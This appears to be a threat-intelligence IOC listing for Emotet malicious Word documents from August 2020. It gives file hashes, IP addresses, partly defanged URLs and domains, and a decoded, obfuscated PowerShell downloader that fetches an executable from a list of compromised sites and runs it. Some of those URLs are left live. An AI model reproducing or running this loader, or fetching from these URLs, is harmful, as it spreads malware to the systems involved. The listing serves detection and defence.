Emotet_Doc_out_2020-08-31_14_15.txt

#Emotet #Docs #malware #OSINT #IOC

SHA256:
2bcee5d67355354cad001f5e478e664d8295781ee500ccbcd9e2b60084757c74
2bcee5d67355354cad001f5e478e664d8295781ee500ccbcd9e2b60084757c74
f48bc109624172998eb1c40d6d87613a21f8eed1090e7e1c80d29c7a3cba9c8a
f48bc109624172998eb1c40d6d87613a21f8eed1090e7e1c80d29c7a3cba9c8a
1a0b2d954e4b0e1d3b217d9240cd26ab870841bb7b6fe7937de95e1e714f8c03
5354855cf9c113bafd6c1284faf05ad3d8937c59843f31207ec11ae9ff32454c
1c37ef957c050e7a7373f775d0d82d817ee844735fe2cd1bc4f18b6a65638f6b
1c37ef957c050e7a7373f775d0d82d817ee844735fe2cd1bc4f18b6a65638f6b
38980ed51fea682ccd94c26e1c48ca4b80f688f626265074b929ade1f3fe97fe
38980ed51fea682ccd94c26e1c48ca4b80f688f626265074b929ade1f3fe97fe
036f1343efadacb2e641e0f98a387aa17b0a03c6cb8fb705cb1f57ddb3daaceb
fd5d28e366219148601f8cc26cb4641d844d35610eec966ae6a13edf2d019c59
fd5d28e366219148601f8cc26cb4641d844d35610eec966ae6a13edf2d019c59
7dcbb996cc3ce1715fac21a2193f17224ceaf3a3f20bf78ff1076616c239debe
dee424905a85441123463cf88961501887763882464bf93fdf04e9cc0e9ff4cb
dee424905a85441123463cf88961501887763882464bf93fdf04e9cc0e9ff4cb
bbb80de525c7073edc157b9fb166a0b710d65b75f27b785d0f14621fbeb2434f
d9566165c3179e41f10a09b2442ef8a8865ff3a54c7a5c1630f5c6fba38c867c
d9566165c3179e41f10a09b2442ef8a8865ff3a54c7a5c1630f5c6fba38c867c
ce5d31cacfe08add3facf280b14c041e5b0f64cf1f01569efae95fd3140f6b7d
7d8e498ff3897ecd7245a7aa1a8366b45ab9361fc1cf3058803c82e8cf7b64eb
59898c04049270a5d5e4eca92854a749c324ef210c820b9a0faeb6f4ff0e4b17
59898c04049270a5d5e4eca92854a749c324ef210c820b9a0faeb6f4ff0e4b17
81f02aad8316c56092a479d081df75f1e6bea47eefa42b36789be507723b0696
862a2a957c2afe9db80448f7144a186b80cdd76e8956186666ca9522281c1aef


IPs:
104.28.20.158
104.28.21.158
172.67.186.123
177.185.206.82
178.32.139.243
180.235.129.144
185.53.12.128
191.6.208.15
191.6.208.54
195.201.121.99
45.120.148.57
5.157.84.169
79.137.34.35
82.223.13.171
86.106.78.75



URLs:
hxxp://mesdelicesitaliens.fr/wp-admin/file/IIck/
hxxps://attech.ml/wp-admin/yZDBlYkJtq/
hxxp://zarahmoden.com/wp-admin/oyF/
hxxps://www.xindakitalia.com/download/1/."sP`lIt"[char]42;


Domains:
mesdelicesitaliens.fr
attech.ml
zarahmoden.com
www.xindakitalia.com


Decoded Base64 Powershell:
$F74ycr7=Dkhn12u;
&new-item $Env:teMP\WOrD\2019\ -itemtype dirEctoRY;
[Net.ServicePointManager]::"s`Ecuri`Typro`Tocol" = tls12, tls11, tls;
$Rkw7usl = D11ong43;
$Ci348_k=V2nyk8l;
$Urqr5m8=$env:tempT4ZwordT4Z2019T4Z  -cReplACE  [CHar]84[CHar]52[CHar]90,[CHar]92$Rkw7usl.exe;
$Hltfun9=X35492b;
$Ebzr64x=.new-object net.WeBCLIEnT;
$Cgg8bo4=http://masque.es/stat/HWDzR/
hxxp://mesdelicesitaliens.fr/wp-admin/file/IIck/
hxxp://lidiscom.com.br/BKP_TinaPOS/attach/UlijfEK/
http://facanha.com.br/temp/file/VFyitEUEZ/
hxxps://attech.ml/wp-admin/yZDBlYkJtq/
http://admvero.com.br/minhaagua/hLwOiX/
https://dev.dosily.in/wp-content/attach/zdRHVDCwl/."SP`lIt"[char]42;
$Bn0idni=Xi7aga5;
foreach$Up90jr9 in $Cgg8bo4{try{$Ebzr64x."Dow`NLoAD`F`ilE"$Up90jr9, $Urqr5m8;
$K3c6jw2=Hb7fgrh;
If .Get-Item $Urqr5m8."LEnG`Th" -ge 22028 {.Invoke-Item$Urqr5m8;
$Hw80cs9=Filr9u8;
break;
$Anfyg5p=F9bsdfp}}catch{}}$Ul7o96m=D3aopjo$Gu94_eb=N1iulo5;
.new-item $ENV:tEmp\wOrd\2019\ -itemtype directorY;
[Net.ServicePointManager]::"SeC`U`Rit`YP`ROtOcOL" = tls12, tls11, tls;
$Dq1wlc0 = Gazs3186m;
$Bq7q5tr=U59j8lw;
$Lyikwct=$env:tempKVgwordKVg2019KVg."rEPLA`Ce"KVg,\$Dq1wlc0.exe;
$U85053x=Jkoqstx;
$Tl8eg_a=&new-object NEt.wEbcLIENt;
$X7ch8vb=http://theexchangemascot.com/cgi-bin/EPorHOo/
hxxp://zarahmoden.com/wp-admin/oyF/
hxxp://www.taleotecnoracing.com/font/vQDBrVh/
http://wijgaanscheiden.com/golfupdate.nl/Vlq60c/
http://yachtresort.net/wp-admin/6Jwnw/
http://sukhumvithomes.com/wp-includes/WNy9/
hxxps://www.xindakitalia.com/download/1/."sP`lIt"[char]42;
$Lbcwwc7=C7va9_e;
foreach$Pqzbn7c in $X7ch8vb{try{$Tl8eg_a."D`owNLoad`Fi`Le"$Pqzbn7c, $Lyikwct;
$Wb8aaoe=Vbctfa9;
If .Get-Item $Lyikwct."L`EN`GTh" -ge 25430 {.Invoke-Item$Lyikwct;
$V46iae1=D79gx8o;
break;
$Zvrwxcc=U4v_nuc}}catch{}}$I5dgkf7=E_8sgdg